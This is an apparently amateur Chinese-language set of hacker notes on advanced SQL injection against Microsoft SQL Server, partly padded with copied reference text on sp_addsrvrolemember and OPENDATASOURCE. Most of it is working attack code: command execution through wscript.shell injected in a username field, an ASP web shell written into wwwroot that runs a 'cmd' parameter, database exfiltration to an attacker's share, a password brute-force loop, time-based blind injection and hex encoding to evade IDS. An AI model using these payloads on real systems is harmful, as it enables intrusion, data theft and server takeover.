Mssql進階注入筆記II

一些sql擴充
xp_regaddmultistring
xp_regdeletekey 刪除鍵名
xp_regdeletevalue 刪除索引值
xp_regenumkeys 枚舉
xp_regenumvalues
xp_regread 對於
xp_regremovemultistring
xp_regwrite 寫
xp_availablemedia 查看磁碟機
xp_dirtree 看目錄
xp_enumdsn ODBC資料來源
xp_loginconfig 一些伺服器安全配置的資訊
xp_makecab 打包，某些dbo許可權先可做大用
xp_ntsec_enumdomains 列舉欄位名相關資訊
xp_terminate_process 終端進程和ip啦
xp_logininfo 當前登入帳號
sp_configure 檢索資料庫中的內容（我覺得這個挺有用的）
sp_helpextendedproc 得到所有的儲存擴充
sp_who2 查詢使用者，他們登入的主機，他們在資料庫中執行的操作等等

一些網路資訊
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
SNMP輔助網路踩點
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm
unities'

開始一些系統服務,比如telnet，前提希望可以跑來admin或者一些系統密碼
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'

Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' 此擴充可以運行程式

使用'bulk insert'文法可以將一個文字檔插入到一個暫存資料表中。簡單地建立這個表：
create table foo( line varchar(8000) )
然後執行bulk insert操作把檔案中的資料插入到表中，如：
bulk insert foo from 'c:\inetpub\wwwroot\admin\inc.asp'

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
'S'參數為執行查詢的伺服器，'U'參數為使用者名稱，'P'參數為密碼，這裡為'foobar'

SQL SERVER中提供了幾個內建的允許建立ActiveX自動執行指令碼的預存程序。這些指令碼和運行在windows指令碼解譯器下的指令碼，或者ASP指令碼程式一樣——他們使用VBScript或JavaScript書寫，他們建立自動執行對象並和它們互動。一個自動執行指令碼使用這種方法書寫可以在Transact-SQL中做任何在ASP指令碼中，或者WSH指令碼中可以做的任何事情
使用'wscript.shell'對象建立了一個記事本的執行個體：
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
指定在使用者名稱後面來執行它：
Username：'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—

使用FSO讀一個已知的文字檔：
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

建立了一個能執行通過提交的命令，預設是asp那組許可權的使用者下運行，前提是sp_oacreate擴充存在
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'

sp_who '1' select * from sysobjects

針對區域網路滲透,備份拖庫或者非sa使用者
declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共用目錄bak.dat ,name=test;--
當前資料庫就備份到你的硬碟上了
select * from openrowset(sqloledb,myserver;sa;,select * from table) 回連，預設需要支援多語句查詢

添加登入，使其成為固定伺服器角色的成員。
文法
sp_addsrvrolemember [ @loginame = ] 'login'
[@rolename =] 'role'
參數
[@loginame =] 'login'
是添加到固定伺服器角色的登入名稱稱。login 的資料類型為 sysname，沒有預設值。login 可以是 Microsoft? SQL Server? 登入或 Microsoft Windows NT? 使用者帳戶。如果還沒有對該 Windows NT 登入授予 SQL Server 存取權限，那麼將自動對其授予存取權限。
[@rolename =] 'role'
要將登入添加到的固定伺服器角色的名稱。role 的資料類型為 sysname，預設值為 NULL，它必須是下列值之一：
sysadmin
securityadmin
serveradmin
setupadmin
processadmin
diskadmin
dbcreator
bulkadmin
傳回碼值
0（成功）或 1（失敗）
注釋
在將登入添加到固定伺服器角色時，該登入就會得到與此固定伺服器角色相關的許可權。
不能更改 sa 登入的角色成員資格。
請使用 sp_addrolemember 將成員添加到固定資料庫角色或使用者定義的角色。
不能在使用者定義的事務內執行 sp_addsrvrolemember 預存程序。
許可權
sysadmin 固定伺服器的成員可以將成員添加到任何固定伺服器角色。固定伺服器角色的成員可以執行 sp_addsrvrolemember 將成員只添加到同一個固定伺服器角色。
樣本
下面的樣本將 Windows NT 使用者 Corporate\HelenS 添加到 sysadmin 固定伺服器角色中。
EXEC sp_addsrvrolemember 'Corporate\HelenS', 'sysadmin'

OPENDATASOURCE
不使用連結的伺服器名，而提供特殊的串連資訊，並將其作為四部分對象名的一部分。
文法
OPENDATASOURCE ( provider_name, init_string )
參數
provider_name
註冊為用於訪問資料來源的 OLE DB 提供者的 PROGID 的名稱。provider_name 的資料類型為 char，沒有預設值。
init_string
連接字串，這些字串將要傳遞給目標提供者的 IDataInitialize 介面。提供者字串文法是以關鍵字值對為基礎的，這些關鍵字值對由分號隔開，例如："keyword1=value; keyword2=value."
在 Microsoft? Data Access SDK 中定義了基本文法。有關所支援的特定關鍵字值對的資訊，請參見提供者中的文檔。下表列出 init_string 參數中最常用的關鍵字。
關鍵字 OLE DB 屬性 有效值和描述
資料來源 DBPROP_INIT_DATASOURCE 要串連的資料來源的名稱。不同的提供者用不同的方法對此進行解釋。對於 SQL Server OLE DB 提供者來說，這會指明伺服器的名稱。對於 Jet OLE DB 提供者來說，這會指明 .mdb 檔案或 .xls 檔案的完整路徑。
位置 DBPROP_INIT_LOCATION 要串連的資料庫的位置。
擴充屬性 DBPROP_INIT_PROVIDERSTRING 提供者特定的連接字串。
連線逾時 DBPROP_INIT_TIMEOUT 逾時值，在該逾時值後，串連嘗試將失敗。
使用者識別碼 DBPROP_AUTH_USERID 用於該串連的使用者識別碼。
密碼 DBPROP_AUTH_PASSWORD 用於該串連的密碼。
目錄 DBPROP_INIT_CATALOG 串連到資料來源時的初始或預設的目錄名稱。

OPENDATASOURCE 函數可以在能夠使用連結的伺服器名的相同 Transact-SQL 文法位置中使用。因此，就可以將 OPENDATASOURCE 用作四部分名稱的第一部分，該名稱指的是 SELECT、INSERT、UPDATE 或 DELETE 語句中的表或視圖的名稱；或者指的是 EXECUTE 語句中的遠端預存程序。當執行遠端預存程序時，OPENDATASOURCE 應該指的是另一個 SQL Server。OPENDATASOURCE 不接受參數變數。
與 OPENROWSET 函數類似，OPENDATASOURCE 應該只引用那些不經常訪問的 OLE DB 資料來源。對於訪問次數稍多的任何資料來源，請為它們定義連結的伺服器。無論 OPENDATASOURCE 還是 OPENROWSET 都不能提供連結的伺服器定義的全部功能，例如，安全管理以及查詢目錄資訊的能力。每次調用 OPENDATASOURCE 時，都必須提供所有的串連資訊（包括密碼）。
樣本
下面的樣本訪問來自某個表的資料，該表在 SQL Server 的另一個執行個體中。
SELECT *
FROM OPENDATASOURCE(
'SQLOLEDB',
'Data Source=ServerName;User ID=MyUID;Password=MyPass'
).Northwind.dbo.Categories

下面是個查詢的樣本，它通過用於 Jet 的 OLE DB 提供者查詢 Excel 試算表。
SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

針對MSDASQL 用預存程序建立的sql串連，在blackbox測試中，好象沒什麼注入區別
declare @username nvarchar(4000), @query nvarchar(4000)
declare @pwd nvarchar(4000), @char_set nvarchar(4000)
declare @pwd_len int, @i int, @c char
select @char_set = N'abcdefghijklmnopqrstuvwxyz0123456789!_'
select @pwd_len = 8
select @username = 'sa'
while @i < @pwd_len begin
-- make pwd
(code deleted)
-- try a login
select @query = N'select * from
OPENROWSET(''MSDASQL'',''DRIVER={SQL Server};SERVER=;uid=' + @username +
N';pwd=' + @pwd + N''',''select @@version'')'
exec xp_execresultset @query, N'master'
--check for success
(code deleted)
-- increment the password
(code deleted)
end

盲注技巧之一，時間延緩（可以加一個迴圈函數，執行查詢時間越久說說明當前欄位正確）
if (select user) = 'sa' waitfor delay '0:0:5'

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

create table pubs..tmp_file (is_file int, is_dir int, has_parent int)
insert into pubs..tmp_file exec master..xp_fileexist 'c:\boot.ini'
if exists (select * from pubs..tmp_file) waitfor delay '0:0:5'
if (select is_file from pubs..tmp_file) > 0 waitfor delay '0:0:5'

字元對比
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor
delay '0:0:5'
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5'

編碼的秘密，饒過IDS
declare @q varchar(8000)
select @q = 0x73656c65637420404076657273696f6e
exec(@q)

This runs 'select @@version', as does:

declare @q nvarchar(4000)
select @q =
0x730065006c00650063007400200040004000760065007200730069006f006e00
exec(@q)

In the stored procedure example above we saw how a 'sysname' parameter can contain
multiple SQL statements without the use of single quotes or semicolons:

sp_msdropretry [foo drop table logs select * from sysobjects], [bar]

嘻嘻，不知道這次被轉走以後會不會看到偶的名字呢？~要有的話，就把進階注入筆記I也發出來